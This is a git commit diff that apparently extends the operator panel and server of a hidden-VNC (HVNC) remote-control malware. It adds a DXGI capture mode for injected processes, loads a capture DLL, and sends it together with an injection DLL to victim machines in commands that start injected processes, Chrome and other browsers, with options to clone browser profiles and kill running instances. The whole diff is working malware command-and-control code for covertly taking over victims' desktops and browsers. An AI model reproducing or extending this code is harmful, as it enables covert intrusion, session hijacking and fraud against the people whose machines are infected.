GPU HVNC capturing

This commit is contained in:
KingKDot
2026-04-16 10:01:49 -05:00
parent 3761579d93
commit b3adac41b3
36 changed files with 5997 additions and 86 deletions
+21 -5
View File
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const dxgiCtrl = document.getElementById("dxgiCtrl");
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
pushHvncResolution();
}
let activeClientId = clientId;
let renderCount = 0;
@@ -558,9 +560,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
});
cursorCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
});
if (dxgiCtrl) {
dxgiCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
});
}
function pushHvncResolution() {
if (hvncResolutionSelect) {
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
}
}
if (hvncResolutionSelect) {
hvncResolutionSelect.addEventListener("change", function () {
pushHvncResolution();
});
}
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
+13 -3
View File
@@ -128,12 +128,22 @@
<label class="flex items-center gap-2 text-sm text-slate-200"
><input type="checkbox" id="kbdCtrl" /> Keyboard</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
>
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
<select
id="hvncResolutionSelect"
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
>
<option value="720">720p</option>
<option value="1080" selected>1080p</option>
<option value="1440">1440p</option>
<option value="-1">Native</option>
</select>
</div>
</div>
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
let _cachedCaptureDll: Uint8Array | null = null;
let _captureDllCachePath: string | null = null;
let _captureDllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
return null;
}
function getCaptureDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
];
if (_captureDllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_captureDllCachePath);
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
return _cachedCaptureDll;
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
_cachedCaptureDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
}
}
return null;
}
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
@@ -757,6 +804,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
break;
case "hvnc_enable_dxgi":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
break;
case "hvnc_set_resolution": {
const maxHeight = Number(payload.maxHeight) || 0;
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
break;
}
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
@@ -799,12 +854,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_process_injected", {
const captureDll = getCaptureDllBytes();
const cmdPayload: Record<string, any> = {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""),
dll: dllData,
});
};
if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
break;
}
case "hvnc_start_chrome_injected": {
@@ -814,10 +872,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record<string, any> = {
path: String(payload.path || ""),
dll: dllData,
});
};
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
break;
}
case "hvnc_start_browser_injected": {
@@ -827,14 +888,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_browser_injected", {
const captureDllBrowser = getCaptureDllBytes();
const browserCmdPayload: Record<string, any> = {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
clone: payload.clone !== false,
cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning === true,
dll: dllData,
});
};
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
break;
}
case "clipboard_sync": {